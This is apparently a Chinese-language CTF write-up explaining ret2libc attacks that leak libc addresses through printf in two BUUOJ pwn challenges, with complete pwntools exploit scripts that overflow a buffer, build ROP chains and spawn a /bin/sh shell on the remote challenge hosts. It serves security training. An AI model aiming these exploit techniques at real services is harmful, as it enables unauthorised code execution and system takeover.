ret2libc-printf
zach0ry

严格符合printf的格式

[HarekazeCTF2019]baby_rop2

image-20250720150231484

image-20250720150244894

而且函数中没有system函数和相应字符串

要泄露libc的地址

image-20250720150404867

通过read读取数据,用printf打印出来

printf 函数的 GOT 地址不能用来泄露 printf 自己的地址?

是的,这是个鸡生蛋蛋生鸡 的问题:

  • printf@got 保存的是 printf 的真实地址(libc 中的地址)。
  • 但你要调用 printf 才能打印它,而调用 printf 又依赖 GOT 表项的地址。
  • 如果 GOT 表项还没解析(延迟绑定),它指向 PLT stub,不是真实地址。
  • 即使 GOT 表项已解析,你也无法通过 printf("%s", printf_got) 正确读取地址。

🧠 总结对比

puts(puts_got) ✅ 可行 puts会尝试打印从puts_got开始的内容,libc 中有字符串,不会崩溃
printf("%s", printf_got) ❌ 不可行 printf会尝试从printf_got地址读取字符串,但那是个函数地址,不是字符串
printf("%p", printf_got) ✅ 可行(需构造) 可以打印地址,但需要正确设置格式字符串
printf("%s", read_got) ✅ 可行(偶尔) read_got指向的地址附近可能有字符串,可以打印出来
puts(printf_got) ✅ 可行(偶尔) 同上,但依赖 libc 中的字符串

要调用printf函数进行泄露,就要根据其特性来传参,printf函数有两个参数,一个格式化字符串,一个可变参数列表

image-20250720151142483

RDI、RSI、RDX、RCX、R8、R9参数按照这个顺序传入寄存器中

有单独的rdi

所以rdi=0x400733

但没有单独对rsi的处理

所以rsi_r15=0x400731,对r15随便传入一个数就可

第一次payload的构造

1
2
3
4
5
6
7
8
9
10

payload = b'a'*0x28+p64(pop_rdi)+p64(format_str)
payload+=p64(pop_rsi_r15)+p64(read_got)+p64(0)
payload+=p64(printf_plt)+p64(main_plt)
p.recvuntil(b"name? ")
p.sendline(payload)

read= u64(p.recvuntil(b"\x7f")[-6:] + b'\0\0')

print(hex(read))

第二次通过计算出libc的基址,加上偏移量就得到了需要的函数的地址,就可与i进行构造了

1
payload = b'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

#p = process('./babyrop2')
p = remote("node5.buuoj.cn",25235)
elf = ELF('./babyrop2')

pop_rdi = 0x0000000000400733
pop_rsi_r15 = 0x0000000000400731
format_str = 0x0000000000400770
ret_addr = 0x0000000000400734

printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_plt = 0x400636

payload = b'a'*0x28+p64(pop_rdi)+p64(format_str)
payload+=p64(pop_rsi_r15)+p64(read_got)+p64(0)
payload+=p64(printf_plt)+p64(main_plt)
p.recvuntil(b"name? ")
p.sendline(payload)

read= u64(p.recvuntil(b"\x7f")[-6:] + b'\0\0')

print(hex(read))

libc = LibcSearcher('read', read)
libc_base = read - libc.dump('read')

sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload = b'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload)
p.interactive()

单个函数

pwn2_sctf_2016

image-20250720164815201

image-20250720164826945

image-20250720164912004

首先看到题目输入一个小于32的数,并把这个数当作get输入的最大限制

所以可以输入一个负数来解决这个限制

也是没有system函数的相关内容

考虑泄露libc的地址

:detective:用printf打印,可以用printf的got表、

因为你调用了 printf(printf_got)

对于 printf 来说:

  • 它看不到这是一个整数地址

  • 它只是把你给的指针当作一个字符串格式解析

  • 如果你传入的这个地址是可读的内存,它就会按照那块内存的内容当作字符串去输出

    所以如果只是传一个参数,printf函数会刚好把它当作字符串

    刚好解决了传递它本身的got表地址,和只有一个参数的问题

    1
    payload=b'a' * (0x2c+4) + p32(printf_plt) + p32(main) + p32(printf_got)

之后就是标准流程

就是记得返回地址是main函数

要再次输入依次那个负数

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *
from time import sleep
r = remote("node5.buuoj.cn",28640)
elf = ELF('./pwn2_sctf_2016')
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main= elf.sym['main']

r.recvuntil(b'read?')
r.sendline(b'-1')
r.recvuntil(b"data!\n")

payload = b'a' * (0x2c+4)
payload += p32(printf_plt) + p32(main) + p32(printf_got)
r.sendline(payload)
r.recvuntil('\n')
printf_addr=u32(r.recv(4))#接受

libc = LibcSearcher('printf',printf_addr)

base = printf_addr - libc.dump('printf')
system_addr = base + libc.dump('system')
bin_sh = base + libc.dump('str_bin_sh')
r.recvuntil(b'How many bytes do you want me to read?')
r.sendline(b'-1')
r.recvuntil(b"data!\n")
payload = b'a' * (0x2c+4) + p32(system_addr) + p32(main) + p32(bin_sh)
r.sendline(payload)
r.interactive()